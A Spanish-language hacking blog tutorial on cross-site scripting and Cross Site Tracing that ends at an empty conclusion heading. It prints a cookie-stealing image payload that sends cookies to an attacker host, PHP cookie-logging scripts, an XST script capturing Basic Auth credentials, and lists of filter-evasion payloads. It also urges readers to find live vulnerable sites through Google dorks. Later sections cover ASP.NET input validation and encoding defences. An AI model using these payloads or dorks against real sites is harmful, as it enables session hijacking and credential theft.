HACKING MADRID_"EASY" XSS and Cross Site Tracing XST

De Juan Carlos García -

XSS-XST COMENZANDO DESDE 0 Y..Cross Site Tracing !!! 

A MI ABUELA ... DESCANSE EN PAZ .. El primer ordenador lo recibí en tu casa con 11 años, en reyes, te acuerdas ?  .. Yo jamás olvidaré nada de nada !!! GRACIAS !!! 

Al referirnos al Cross-Site-Scripting podemos encontrar bastante material didáctico acerca del tema, algunos de ellos describen los modos de ataques como directos e indirectos, pero realmente creo que podemos simplificar y enfocar de una forma mas directa en dos simples componentes que son:

1. Ataque al usuario.
2. Ataque a la aplicación


 
Por otro lado tendríamos "persistentes" y "No persistentes" .. es decir, entre wikipedia y OWASP , madre mía la de toería que teneís .. pero lo que quiero directamente es que comenceís a buscar objetivos y a "practicar" "éticamente" .

Bien, si no sabes HTML ni JavaScript directamente ya sabes lo que tienes que hacer para poder realizar estos ataques tan singulares que en mi humilde opinión hacen que me "desweben" de la risa, y más cuando es uno el que está haciendo "el forense" a un cliente y empiezas por el foro .. en fin ..

                                               El país anunciando la Risa de Libro ..

Nosotros hicimos el ridículo con "Mister Bean" y el XSS de libro que había en nuestra "sede europea" ... ÉPICO diría yo .. bueno no, ridículo más bien !!!....


   Mr bean se cuela en la web



También tenemos otras calificaciones pero la más "cachonda" es la de security by Default de hace dos años y prefiero dejarla porque es la que mejor nos viene, por lo menos desde el punto de vista atante viendo la INCULTURA TREMENDA que SIGUE existiendo en seguridad.


SI hackers, si, pero esto no va para vosotros .. me he dado cuenta de una cosa .. cuando se alcanza un nivel tienes que elegir, vosotros lo sabeís entre muchos caminos que el hacking nos va poniendo .. y una de esas decisiones es A QUIEN TE VAS A DIRIGIR si es que te quieres dirigir a alguien.

Ya sabeís que en el caso de hacking MADRID , por muchos factores, entre elllas creencias y libertad en este año nos estamos decantando por los aprendices .. directamente pienso en mi cuando tenía 12 años con el AMSTRAD CPC6128 con monitor color BASIC y D.O.S que apreción en casa de mi Abuela una navidades ... A partir de esas edades va dirigido esto... y por supuesto a todo el que quiera comenzar e intentar ordenar un poco todo lo que existe ...

Teneís artículos de altísimo nivel unos, facilísimos otros pero cuestan pasta ( Revistas y sus Kits ...).. y mucha.. y luego están los "guachupinos" y todos los hacker de sudamérica ( lo que se den por aludidos) que se dedican al ROBO DE SESIONES, ClickJacking.. ROBO DE CUENTAS EN FACEBOOK, TWITTER etc que se dedican a crear Kits para "Lammers" que con solo dar un click ya tienes todo ... y eso solo hace que no seas nada.. ellos son los delincuentes, no sea cooperador de mafias que hacen que tu también seas un eslabón más para que al final mafia y solo mafia esté viviendo gracias única y exclusivamente a que tu y otros como tu estáis comprando por Pay-Pal Kits de Explotación de Users Accounts e imbecilidades similares .... quiero recordar que cuando te dedicas al hacking de una manera profesional solo te quedan varios caminos y en España esos se reducen a "menos".

Los caminos son trabajar en seguridad en España :P ... Es decir, la empresas públicas públicas que tengan que ver con seguridad, las Privadas que atienden y apoyan el ESN 2009 y que son necesarias para el Estado..

Luego las empresas privadas que dan servicios de seguridad , ofensiva defensiva a sus clientes...

Por otro lado puedes montarte tu mundo web como la mayoría de hackers que han abandonado por el camino porque "hay que comer" y en España es más fácil  ganar pasta con Ad-Sense que poder trabajar de hacker y que entiendan, no te miren "raro", o no caigas mal "porque eres el más listo" según ellos o la ignorancia de ellos, que hace que nosotros nos sintamos mal, o en mi caso, me lo paso por el forro ... yo estoy para dar un servicio de alto nivel .. de hecho, el último eslabón y más peliagudo .. y cuando trabajo, tener por seguro que solo atiendo a mi equipo o compañeros directamente relacionados con el proyecto en el que esté ... y concentrado a lo mío .. sabeís por qué? Porque muchas veces un incidente de seguridad necesita de TODOS los sentidos para poder actuar en consecuencia ( y si "contraatakas" y le cazás mejor no ..? ) y sinceramente cuando "hackeo" opara dar solución o análisis de una situación solo pienso en el "reto", en compartir y opinar con mis compañeros y dar la solución más eficiente.

El resto, pues bueno, supongo que de manera consuetudinaria la sociedad española seguirá siendo tan zote .. o no? Quizás todavía falten unos cuantos más hacking épicos en España para que más de uno, usuarios, PYMES Y MULTINACIONALES y otros se "anden" con los cojones colgando ... o como diría alguine que yo me se 

                       "LEÑA AL MONO HASTA QUE HABLE INGLÉS"
                                                  y en este caso
                       "DEFACED, ROOTED, HACKED HASTA SPEAK SECURITY"-- by Juan Carlos

Entre que recursos humanos sigue haciendo esfuerzos por intentar saber más de nosotros, la Universidad Autónoma junto con el CNI y 21Sec se han dado cuenta que era necesaria una AGENCIA DE CIBERSEGURIDAD que "reglara de alguna manera" la situación del hacker ..., las noticias de hace tres meses que se está elaborando una ley para PRHIBIR TODAS LAS HERRAMIENTAS HACKERS A TODO EL MUNDO ..., nadie sabe en seguridad y salvo gente concreta que son los Common Criteria de seguridad, que son los NATO y su NATO CHANNEL al mundo para que China y Corea veanque tienen a sus hackers preparados, ANONYMOUS y su facción en España ... en Madrid en el 15 Mayo ..

Es decir, se están volviendo a producir hechos "inseguros" que hacen que retome estos ataques a fecha de hoy porque he comprobado directamente, que sigue siendo de Risa.

Y como prueba de ello, bueno pues vamos a darle un poco a la teoría y luego ya sabeís que soy de "hacking VISUAL" y punto pelota :p

Y POR CIERTO ACLARANDO CONCEPTOS: ... 

                                    PANDA SECURITY BLOGGER SUMMIT
                                          Juan Carlos García MINUTO 3:32


Cross-Site Scripting y otras formas de llamar a un        Hacking Madrid "<iframe>" Attack

Versión teórica: Fallo en la validación de los datos introducidos por un usuario en la aplicación. En caso de que dichos datos sean código HTML o JavaScript, estos serán interpretados por el navegador del usuario.

Versión para toda la familia: Te hago hacer clic en un enlace el cual realiza la búsqueda directamente (al incluir el parámetro y valor de lo que queremos buscar ya en la petición web) y en tu navegador aparece la respuesta que devuelve la aplicación. Si el valor es una cadena de texto que contiene ciertos carácteres especiales, conseguiremos introducir código HTML o Javascript y mostrarlo en tu navegador (lado cliente).



- "hackers" que consiguen HACER XSS y saltarse sistemas de seguridad de una página web

Versión teórica: Acceso al servidor que alberga la web o explotación de una vulnerabilidad en la aplicación que permite ejecutar sentencias con privilegios suficientes para modificar documentos del servidor web o introducir nuevos valores en base de datos.Conseguir actualizar la base de datos y modificar/añadir registros directamente, para que los cambios sean permanentes y todo el mundo los vea al acceder a la aplicación o conseguir explotar vulnerabilidades de ejecución remota de comandos, etc.

Versión para toda la familia: ¡Han entrado al servidor donde está la web, y han modificado los ficheros para mostrar otra cosa! ¡Oh Cielos!
        Mr bean se cuela en la web




Recordando que pasó con "MR Bean" de manera rapidita..

Dirección hacia donde apuntaba :
http://www.eu2010.es/en/resultadoBusqueda.html?query=%3Cscript%3Edocument.write%28%27%3Cimg%20src%3D%22http%3A%2F%2Fblog.tmcnet.com%2Fblog%2Ftom-keating%2Fimages%2Fmr-bean.jpg%22%20%2F%3E%27%29%3C%2Fscript%3E&index=buscadorGeneral_en

Donde está el fallo:(Funcionalidad Vulnerable):ResultadoBusqueda.html

Parámetro vulnerable:Query

Código Inyectado en la web, interpretado por el navegador:


En este caso la función javascript document.write   recibe una cadena de texto como parámetros, pero esta es escrita en el documento actual. Cuidado, cuidado, NO ESCRITA DIRECTAMENTE en el fichero, SI NO EN EL DOCUMENTO que estamos visualizando en el navegador, EN EL "PUTO" NAVEGADOR.
Como es lógico esa cadena de texto es HTML que lo que hace es importar una imagen, en este caso Mr Bean.

Este es el "src" donde te dice cláramente donde está alojada la imagen de mr-bean..

 <script>document.write('<img src="http://blog.tmcnet.com/blog/tom-keating/images/mr-bean.jpg" />');<script>



Ataque al Usuario

Este es el ataque mas frecuente, debido al potencial de la información que se puede obtener mediante este tipo de agresión, ya que dependiendo del nivel de ingenio del atacante puede obtener información importante de un usuario victima extrayendo sus cookies y consiguiendo información almacenada en ellas o robando su sesión de usuario en un sitio web especifico.
Dentro de las diversas formas de ataque veremos dos de las más comunes.

Ataque vía correo electrónico:

Se basa en el envió de un correo electrónico a un usuario con un script oculto en un link a una dirección web, el atacante buscando motivar a su victima a seguir el enlace le ofrece un premio, regalo u oferta si visita dicho vinculo, al verse atraído por la información en el correo electrónico el usuario hace click en el vinculo sin darse cuenta de que esta activando una secuencia de comandos que se ejecutaran en su equipo local, que podrían extraer sus cookies, eliminar archivos y en el caso mas fatal formatear su disco duro, mediante la invocación de programas con parámetros aleatorios.

Ataque vía publicación en Sitios Vulnerables:

Esta segunda forma se basa en la publicación datos en blogs, foros, libros de visitas o sitios que permiten reflejar información enviada por un usuario y que no es validada por el servidor, donde podremos esconder secuencias de comandos detrás de un vinculo o imagen, este ataque tiene la misma finalidad que el anterior, pero con un mayor alcance de usuarios afectados.

Quizás en estos momentos nos estemos preguntando, ¿bueno y eso que tiene que ver con nuestra labor como desarrolladores, si ya es responsabilidad del usuario?

Bien, como desarrolladores posiblemente tendremos o hemos tenido que crear sitios en donde los usuarios puede postear información que se vera reflejada en el sitio y podrá ser accedida por otros usuarios, ya sea blogs, foros o libros de visitas como se explico antes, pero que tal una bolsa de empleo donde puedo agregar mi currículo, o un sitio para comentarios de visitantes entre otras muchas opciones.

Si no tenemos una validación debida de las entradas por parte del usuario, se pueden enviar cadenas con comandos ocultos en vínculos que se almacenaran y reflejaran en nuestro sitio por ejemplo:

Un atacante aprovecha la vulnerabilidad de nuestro sitio y publica una imagen de la siguiente manera:

http://www.mipagina-malosa.com/mifoto.jpg name="foto"

Pero a la vez agrega lo siguiente a dicho vínculo de la imagen:

onload="foto.src='http://www.mipagina-malosa.com/foto.php?
galleta='%20+document.cookie;">

Como podemos imaginar al finalizar la carga de la imagen se almacenaran las cookies del usuario que siguió el vinculo en una misteriosa variable llamada galleta, que será enviada a la url determinada por el atacante, ahora veamos el código de dicha página:

Código de foto.php.

<? $galleta = $_REQUEST[galleta];
$file=fopen("cookies.txt", "a");
fput($file, "$galleta\n");
fclose($file); ?>

Observemos que la variable que contiene las cookies del usuario será almacenada en un documento de texto llamado cookies.txt alojado en el servidor del atacante, ya esto significa un agujero de seguridad en nuestro sitio que expone peligrosamente la seguridad de nuestro usuario.

También se pueden ver afectados por robo de sesión, o bromas de mal gusto como un simple floodeo como el siguiente:

<script>while(1)alert("A ver cuanto Aguantas");</script>

Podrían dejar en evidencia nuestra ineficiencia en el campo de la seguridad, causando disconformidad por parte de los visitantes. 

Siendo puristas y siguiendo a WIKIPEDIA: ( para no faltar el respeto a nadie .. :P)

XSS Indirecto (reflejado)


                              XSS INDIRECTO Y QUE SE REFLEJA NO?

Supongamos que un sitio web tiene la siguiente forma:
http://www.example.com/home.asp?frame=menu.asp 

y que al acceder se creará un documento HTML enlazando con un frame a menu.asp.

En este ejemplo:
 ¿qué pasaría si se pone como URL del frame un código javascript?
 
javascript:while(1)alert("Este mensaje saldra indefinidamente");

Si este enlace lo pone un atacante hacia una víctima, un visitante podrá verlo y verá que es del mismo dominio, suponiendo que no puede ser nada malo y de resultado tendrá un bucle infinito de mensajes.

Un atacante ( JODER, YO :P) en realidad trataría de colocar un script que robe las cookies de la víctima, para después poder personificarse como con su sesión, o hacer automático el proceso con el uso de la biblioteca cURL o alguna similar. De esta forma, al recibir la cookie, el atacante podría ejecutar acciones con los permisos de la víctima sin siquiera necesitar tu contraseña.

Otro uso común para estas vulnerabilidades es lograr hacer phishing. Quiere ello decir que la víctima ve en la barra de direcciones un sitio, pero realmente está en otra. La víctima introduce su contraseña y se la envía al atacante.

Una página como la siguiente:

 error.php?error=Usuario%20Invalido

...es probablemente vulnerable a XSS indirecto, ya que si escribe en el documento "Usuario Inválido", esto significa que un atacante podría insertar HTML y JavaScript si así lo desea.

Por ejemplo, un tag como <script> que ejecute código javascript, cree otra sesión bajo otro usuario y mande la sesión actual al atacante.

Para probar vulnerabilidades de XSS en cookies, se puede modificar el contenido de una cookie de forma sencilla, usando el siguiente script. 

Sólo se debe colocar en la barra de direcciones, y presionar 'Enter'.

javascript:void prompt("Introduce la cookie:",document.cookie).replace(/[^;]+/g,function(_){document.cookie=_;});

XSS Directo (persistente) .. SOLO IMÁGENES que ya está explicadito !!!

XSS DIRECTO TRANSVERSAL ( esto ya es otra cosa no? :p)


HACKING MADRID:Ç
"EJEMPLO ENTERITO"
 UN XSS TRANVERSAL EN E-BAY

(A security researcher who goes by the nickname "methodman", today reported a few critical security vulnerabilities affecting Ebay.co.uk. Earlier, he alerted Ebay staff about the issue, but didn't get any response...)

<SCRIPT>if (top == window)location.href = 'http://www.xssed.com'</SCRIPT>


Ebay XSS mirror:

Also, due to insufficient security validation / sanitization of user-supplied input, an attacker can exploit a directory traversal vulnerability to execute arbitrary commands (View screenshot 1 & 2 of the directory traversal bugs).







                                                       







Y ESTO, COMO "LECHES" FUNCIONA? .. explicación de esto tan "raruno" :P

Funciona localizando puntos débiles en la programación de los filtros de HTML si es que existen, para publicar contenido (como blogs, foros, etc.).
Normalmente el atacante tratara de insertar tags como <iframe>, o <script>, pero en caso de fallar, el atacante puede tratar de poner tags que casi siempre están permitidas y es poco conocida su capacidad de ejecutar código. De esta forma el atacante podría ejecutar código malicioso.

Ejemplos:

Una posibilidad es usar atributos que permiten ejecutar código.

<BR SIZE="&{alert('XSS')}">

<FK STYLE="behavior: url(http://yoursite/xss.htc);">

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

También se puede crear un DIV con background-image: url(javascript:eval(this.fu)) como estilo y añadir al DIV un campo llamado fu que contenga el código a ejecutar, por ejemplo:

<div fu="alert('Hola mundo');" STYLE="background-image: url(javascript:eval(this.fu))">


AJAX

Usar AJAX para ataques de XSS no es tan conocido, pero peligroso. Se basa en usar cualquier tipo de vulnerabilidad de XSS para introducir un objeto XMLHttp y usarlo para enviar contenido POST, GET, sin conocimiento del usuario.

Este se ha popularizado con gusanos de XSS que se encargan de replicarse por medio de vulnerabilidades de XSS persistentes (aunque la posibilidad de usar XSS reflejados es posible).

El siguiente script de ejemplo obtiene el valor de las cabeceras de autenticación de un sistema basado en Autenticación Básica (Basic Auth). 
Sólo falta decodificarlo, pero es más fácil mandarlo codificado al registro de contraseñas. La codificación es base64.

Script para obtener credenciales en tipo BASIC

Esta técnica también es llamada...

Hacking Madrid:

                        "XST, Cross Site Tracing."

var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
 
// para firefox, es: var xmlhttp = new XMLHttpRequest();
 
xmlhttp.open("TRACE","./",false);
 
xmlhttp.send(null);
 
str1=xmlhttp.responseText;
 
splitString = str1.split("Authorization: Basic ");
 
str2=splitString[1];
 
str3=str2.match(/.*/)[0];
 
alert(str3);

Por cuestiones de seguridad, Mozilla Firefox y el Internet Explorer 6.2+ no permiten usar el metodo TRACE.

Y este código guardaría un log con las cookies que enviaría el atacante.

<?php
 
$archivo = fopen('log2.htm','a');
 
$cookie = $_GET['c'];
 
$usuario = $_GET['id'];
 
$ip = getenv ('REMOTE_ADDR');
 
$re = $HTTPREFERRER;
 
$fecha=date("j F, Y, g:i a");
 
fwrite($archivo, '<hr>USUARIO Y PASSWORD: '.htmlentities(base64_decode($usuario)));

fwrite($archivo, '<br />Cookie: '.htmlentities($cookie).'<br />Pagina: '.htmlentities($re));

fwrite($archivo, '<br /> IP: ' .$ip. '<br /> Fecha y Hora: ' .$fecha. '</hr>');
 
fclose($archivo);
 
?>

La segunda manera en que podemos exponer peligrosamente la información de nuestros usuarios es la siguiente:

Resulta que nuestro sitio se encuentra bien protegido validando cada entrada de datos de usuario, pero almacenamos información vital de nuestros usuarios en cookies, datos tal vez como número de tarjeta de crédito, fecha de vencimiento, nombre del propietario, password y nombre de usuario de acceso al sitio, y además de cometer este gran error resulta que no encriptamos las cookies y las almacenamos en el equipo del usuario de una manera totalmente legible, definitivamente si el usuario cayera en una trampa como la anterior, todos los datos almacenados en nuestras cookies serian sustraídos y leídos con facilidad.

Para ver algunos ejemplos de manejo de cookies haremos el siguiente ejercicio UNICAMENTE CON FINES EDUCACIONALES CLARO YA QUE TENEMOS TELITA CON LAS DEMOS EN ESPAÑA .. Y COMO ESTO ES SOLO EN LA PARTE "CLIENTE", ES DECIR EN NUESTRO NAVEGADOR Y COMO TODO LO QUE VAMOS A HACER NOS LO VA A DAR GOOGLE .. PUES NO ES DELITO PORQUE ES PÚBLICO !!! :P.. es lo que tiene estar indexado o dejarse indexar y no estudiar seguridad ... todo tiene un precio en esta vida ... :P

Abramos nuestro navegador web e ingresemos a google que crea cookies búsqueda, en el navegador web vamos a borrar la url y copiaremos y pegaremos el siguiente código:

javascript:void(document.cookie=prompt("Alterar cookie",document.cookie).split(";"));

y presionaremos la tecla ENTER o haremos click sobre el botón IR y veremos el siguiente cuadro de dialogo:


Como podemos observar allí se encuentra nuestra cookie en un cuadro de dialogo que a la vez nos permite modificarla, así que haremos click al final de la cookie y agregaremos un texto a ver si la modifica y presionamos el botón aceptar del cuadro de dialogo, como el script aun esta en el navegador simplemente volveremos a presionar la tecla ENTER o haremos click sobre el botón IR y veremos nuevamente el cuadro de dialogo.


Si observamos al final de la cookie veremos que efectivamente se modifico nuestra cookie, bien de esa misma manera pueden ser extraídas y modificadas nuestras cookies de manera remota.

Bien estas fueron unas formas simples de ataque, pero debemos de entender que existen formas más complejas y peligrosas de ataque mediante XSS, que no contemplaremos en este artículo para no extendernos tanto. 

Ataque al Aplicativo

Este tipo de ataque por medio del Cross-Site-Scripting es menos frecuente que el ataque a los usuarios, pero aun así existen personas que se deleitan fastidiando un sitio web por puro placer y consiste en poder almacenar scripts que se reflejen en el sitio para causar alguna alteración o eliminación del mismo, veremos algunos ejemplos comunes pero como en el tipo de ataque anterior existen agresiones mas peligrosas y dañinas que las que veremos aca.

Tomaremos como referencia un blog ya que sitios como blogs, foros y libros de visita, son los que mas fácilmente permiten este tipo de ataques, debido que en muchas ocasiones permiten el formateo de nuestro texto con etiquetas HTML y no validan correctamente el tipo de inserción que estamos haciendo.

Ahora comencemos de lo simple:

Hagamos un post como este:
<script>alert("hola");</script>
Al cargar la página donde se refleja nuestro post aparecerá una ventanita como esta.


Con algo más de graci .. :P, un pequeño saludo de entrada, pero ahora quizás a ese hola podemos agregarle algo más:

<script>while(1)alert("hola");</script>

Al cargar la pagina nos aparecerá la misma ventanita de saludo pero esta vez al darle click volverá a aparecer, floodeando nuestro navegador, ya que siempre que demos click en el botón aceptar del cuadro de dialogo nos seguirá apareciendo la misma ventanita, quitándonos toda posibilidad de interactuar con el sitio ya que la única forma de cerrar este cuadro de dialogo es cerrando la web que lo ejecuta, como vemos ya dejo de ser chistoso, pero hasta aquí llegaron los principiantes.

Ahora veamos lo que puede hacer alguien mas experimentado en el XSS.

Que tal si intentaran algo como esto: Recordar, en seguridad, <iframe>=<caca><peligro>

<iframe src=http://mipagina.com/pagina.htm>

Y en el código de pagina.htm algo como esto:

<SCRIPT TYPE="text/javascript" LANGUAGE=JAVASCRIPT>
if (top.frames.length!=0)
top.location=self.document.location; </SCRIPT>

Como podemos observar cada vez que se ingrese a la página donde se refleja esta inyección se mostrara pagina.htm como frame superior.

Ahora veamos algo más dañino, vamos a eliminar todo el contenido de la página de post y vamos a remplazarlo por un mensaje nuestro y se logra de una manera tan sencilla como esta:

<script>document.documentElement.innerHTML="Borrada";</script>
Bueno creo que con esto tenemos suficiente como para tomarle importancia a algo que a simple vista parece inofensivo, así que pasaremos directamente a las recomendaciones para solucionar este tipo de agujeros en nuestra seguridad. 

Si he dicho APARENTEMENTE, PORQUE ES DEMASIADO PELIGROSO ....


Descubriendo XSS mediante Google Hacking


                                             Demasiadas en solo (dot) com ..
                                             
                                                       PASTEBIN .. :P
Quiero que dejemos en claro que en el tema del Cross-Site-Scripting, en sitios y ataque a usuarios mediante sitios vulnerables es completa responsabilidad de los desarrolladores el permitir o no este tipo de vulnerabilidad, de nadie más .. y que si haciendo Google hacking caen de cabeza pues que los responsables de seguridad corten cabezas y contraten a quien tienen que contratar .. poquito más.

Si os preguntaís que métodos utilizo para hacer esto o que utilizan los "malos", pues nada, todo vuestros .. una dirección Ip sin ocultar, una denuncia, un "forense" y a "soto" con la Guardia Civial, advertidos como siempre estáis:

"Por mi, por mis compañeros, Y  por mi el primero"..TRASKA, TRUS, TRIS, TRAS DERECHO DEL RATÓN YYYYYYYYYYY:

Madrid Google Hacking:Dorks GHDB for XSS Vulnerability !!!! 

<IMG SRC="javascript:alert('Vulnerable');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=`javascript:alert("RSnake says, 
'XSS'")`>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG 
SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG 
SRC=javascript:alert('XSS')>


                                                                      LPoC :P
                                             Little Proof Of Concept

                    

                      PARA PÁGINAS NACIONALES PUES UN POQUITO MÁS DE HACKING ...

                                                      SITE:ES javascript:alert('XSS')> .

.. Por ejemplo, pero os repito que en España el ESQUEMA NACIONAL DE SEGURIDAD, LA LOPD Y ANEXAS HACEN QUE NO SEA RECOMENDABLE EL "JUGUETEAR" EN DOMINIOS (dot) es or razones evidentes ... PERO COMO LOS FALLOS ESTÁN INDEXADOS NO ES DELITO EL MOSTRAR LO QUE YA GOOGLE MUESTRA.
                                                                
                                                      SI OS FIJAÍS ES DEMASIADO PELIGROSO


SOBRAN PALABRAS NO?
                                                        


                                                


Bueno pues de nuevo la "DESGRACIA" DE GOOGLE :P


Eligiendo un Objetivo cualquira de Google, es PÚBLICO

WEB que recogen los XSS de otras para compartir ..


Libro de Firmas de gente del Madrid con XSS de libro

Y BUENO ESTE HASTA LA COCINA ...




Defendiendo Nuestra Aplicación.

El primer modo de defensa que veremos, será la defensa de nuestra aplicación, misma que nos enseñara técnicas sencillas para defender nuestro sitio mediante la validación de entradas de datos.

Tenemos que tener claro que lo que debemos hacer es impedir la entrada de scripts en nuestros campos de inserción de datos, validando cada entrada para asegurarnos que no contenga código que pueda afectar nuestra aplicación o a nuestros usuarios.

  1. Limitación de caracteres de entrada.
    Lo primero que debemos hacer es generar una limitante a las entradas de datos dependiendo del tipo de datos, así como lo hacemos cuando creamos un campo en una tabla de la misma manera vamos a limitar a cantidad de caracteres en los campos de entrada, por ejemplo si lo que requerimos es el nombre no vamos a dejar el campo para que el usuario ingrese cuantos caracteres quiera, si no que haremos una limitante de un máximo de caracteres, por ejemplo:

    <asp:TextBox ID="txtuname" runat="server" MaxLength="20"></asp:TextBox>

    Podemos observar que estamos limitando el campo de texto a un maximo de 20 caracteres,si intentaramos insertar un script posiblemente no nos permita escribirlo completo,<script>alert("hola" como podemos verlo en el ejemplo anterior, no pudimos terminar nuestra linea de codigo por la limitante. Sabemos que en algunos casos utilizaremos campos de mas caracteres como por ejemplo el de un comentario al que asignaremos tal vez un Maxlength de 250 0 300 caracteres, pero al menos en los campos pequeños iremos reduciendo la superficie de ataque.
  2. Validadores de campos.
    En este caso utilizaremos herramientas la disponibles en el Visual Studio, ya disponible en las herramientas de diseño en donde solo tendremos que arrastrar un control de validacion al formulario dependiendo de nuestra necesidad y editar sus propiedades para determinar su funcion, y asignar los campo de entrada de datos que administrara y su mensaje de error, de una manera sencilla y dinamica.
Required Field Validator: Este control al anclarlo a un control de insersion de datos permite que el formulario no pueda ejecutar ninguna accion, hasta que este campo sea llenado, en caso de que se ejecutara alguna accion con este campo de insersion vacio, el Required Field Validator presentaria su mensaje de error y la accion no se ejecutaria, hasta que sea llenado el campo requerido.

<asp:RequiredFieldValidator ID="RequiredFieldValidator1" runat="server" ControlToValidate="txtuname" ErrorMessage="*" SetFocusOnError="True"> </asp:RequiredFieldValidator>

Regular Expressión Validator: Este control comprueba si el valor de un control de entrada coincide con el patrón definido por la expresión regular. En otras palabras nos puede funcionar como un filtro de caracteres no deseados en nuestra aplicación, además contiene ya expresiones predefinidas que podemos seleccionar como: dirección Web y correo electrónico, donde contiene la expresión de validación para estos dos formatos, pero también podemos crear nuestras propias expresiones regulares, veamos unos ejemplos:

<asp:RegularExpressionValidator ID="RegularExpressionValidator1" runat="server" ControlToValidate="txtuname" Display="Dynamic" ErrorMessage="Contiene Caracteres Invalidos" SetFocusOnError="True" ValidationExpression="^[A-Za-z \s]{0,40}$"> </asp:RegularExpressionValidator><br />
ValidationExpression="^[A-Za-z \s]{0,40}$"> Esta expresion nos permite crear un filtro que solo nos acepte letras del Alfabeto de A a Z, tanto mayusculas como minusculas y espacios, tambien limitando el ingreso de datos a un maximo de 40 caracteres.

ValidationExpression="^[A-Za-z1-0 \s]{0,100}$"> Ahora nos aceptara las letras del alfabeto, tambien numeros y espacios pero esta vez con un maxlength de 100 caracteres.

ValidationExpression="^[1-0\s]{0,7}$"> Ahora nos aceptara solo numeros, con un maxlength de 7 caracteres.

Con este control podemos utilizar las validaciones ya contenidas en el control o crear nuestras propias expresiones, controlando de una mejor manera los valores de los campos de inserción.

Range Validator: Este comprueba si el valor de un control se encuentra en un intervalo especificado de valores.

<asp:RangeValidator ID="RangeValidator1" runat="server" ControlToValidate="txtfecha"

Display="Dynamic" ErrorMessage="No se encuentra en el rango establecido" SetFocusOnError="True" Type="Date" MaximumValue="01/01/2020" MinimumValue="01/01/2000"></asp:RangeValidator></td>

En este ejemplo vemos como asignamos Date al tipo, además le pusimos un rango de fecha del 01/01/2000 al 01/01/2020, así que serán validos solo el ingreso de datos tipo fechas con un rango del 01 de enero del 2000 al 01 de enero del 2020.

Compare Validator: Este control simplemente compara el contenido de un control con otro, según los parámetros de comparación establecidos, por medio de las propiedades ControltoCompare y ControlToValidate y asignando los métodos se comparación en la propiedad Operador.

<asp:CompareValidator ID="CompareValidator1" runat="server" ErrorMessage="Comparacion dePasswords, Negativa" ControlToCompare="txtpwd" ControlToValidate="txtpwdval" Display="Dynamic" SetFocusOnError="True"> </asp:CompareValidator>

Bien, ya hemos visto casi todos los Validadores disponibles en  visual Studio y por lo tanto no hay excusa para no utilizar esto, NO EXISTE EXCUSA ...!!!! NUNCA !!!!

Ahora veremos otras formas de evitar inyección de código.

HTML-Encode: Convierte elementos HTML que utilizan caracteres HTML reservados de forma que se muestren en lugar de ejecutarse. Así nos aseguramos que cualquier entrada de datos proporcionada por el usuario se represente como texto estático en los exploradores, y no como secuencias de comandos ejecutables ni elementos HTML interpretados. Proviene del método HttpUtility.HtmlEncode.

Label1.Text = Server.HtmlEncode(TextBox1.Text)

Así por ejemplo la etiqueta <script> se convertirá en <script>

UrlEncode: Se puede utilizar para codificar una dirección URL no fiable, basada en entradas por parte del usuario, donde puede haber secuencias de comandos malintencionadas y que podrían suponer una amenaza.

HttpUtility.UrlEncode(urlstring);

Regex: Esta clase es como una expresión regular de sólo lectura. Dispone así mismo de métodos estáticos enfocados en utilizar otros tipos de expresiones regulares, sin tener que crear de manera explícita instancias de objetos de las otras clases.

Por medio de esta clase podremos obtener y comparar el valor de una cadena, buscando y filtrando caracteres que puedan generar una cadena de código dañino, su función es similar al RegularExpressionValidator a la hora de generar la validación de expresiones, pero dicha clase permite controles de expresiones regulares mas amplias y definidas.

Dim r As Regex
r = New Regex("\s200")
Dim r As New Regex("<>'=")
Dim m As Match = r.Match("txtuname")
If m.Success Then
End If
Otro ejemplo:
Function CleanInput(strIn As String) As String
Return Regex.Replace(strIn, "[^\w\.@-]", "")
End Function

Validate Request: La validación de solicitudes se encuentra habilitada de una forma predeterminada en el archivo Machine.config del servidor, pero en caso de alojar nuestros sitios en un servidor fuera de nuestro control es buena idea verificar que el Validate Request se encuentre habilitado.

<system.web>
<pages buffer="true" validateRequest="true" />
</system.web> 

MÁS EJEMPLITOS, VENGA ... !!! :P


http://www.cgisecurity.com/archive/php/phpNuke_cross_site_scripting.txt


http://www.cgisecurity.com/archive/php/phpNuke_CSS_5_holes.txt


http://www.cgisecurity.com/archive/php/phpNuke_2_more_CSS_holes.txt 


Además que debemos evitar desactivarlos a menos que nos resulte muy necesario hacerlo, como por ejemplo: Si contiene un campo de entrada de texto enriquecido en formato libre diseñado para aceptar un intervalo de caracteres HTML como entrada.


Defendiendo Nuestros Usuarios. ( QUIEN QUIERA DEFENDELOS O SE DEDIQUE A ELLO)

Las formas más sencillas de defender nuestros usuarios son mediante las siguientes acciones:

Cookies:

Evitar almacenar datos vitales de nuestros usuarios en las cookies como:

  • Nombre de usuario y Contraseña.
  • Numero de tarjeta de crédito, fecha de vencimiento y nombre del propietario.
  • Cuentas Bancarias.
  • Direcciones de correos electrónicos.

Como regla inviolable encriptar todas las cookies que genere nuestro sitio. 

TRUQUITO :p

Modificar cookies

La mayoría de webs en las que hay que registrarse nos mandan cookies con información necesaria para comprobar que somos nosotros. Es posible que nosotros también lo necesitemos para crear nuestras propias webs.

Para depurar, se puede ver cual es el valor actual de las cookies mandada por la página actual usando el siguiente script en la barra de navegación.

javascript:void(document.cookie=prompt("Cambiar cookie",document.cookie).split(";"))

Si queremos, podemos mostrar las cookies separadas por campos para que resulte más claro. Simplemente necesitamos iterar sobre el script anterior.

javascript:for(var g in document.cookie.split(";"))void(prompt("Cambiar cookie "+document.cookie.split(";")[g].split("=")[0],document.cookie.split(";")[g].split("=")[1]));alert("Cookies:\n"+document.cookie.replacer(/;/,"\r\n"));

Sesiones de Usuario:

También debemos pensar en la encriptación de las sesiones de usuario y las variables que arrastre en caso de que lo hiciera, además de fijar un tiempo prudente de caducidad de sesión y la destrucción de las cookies de sesión al finalizar la misma.

SSL:

Utilizar Secure Socket Layer en lugares en donde se procese información de gran importancia, pero siempre con la prudencia de crear un complemento de protección de datos debido a que el SSL no es completamente eficaz contra el Cross-Site-Scripting, pero es una medida más para combatirle, además como sugerencia utilizar certificados de seguridad de una entidad certificada, para una mayor protección.

Conclusión

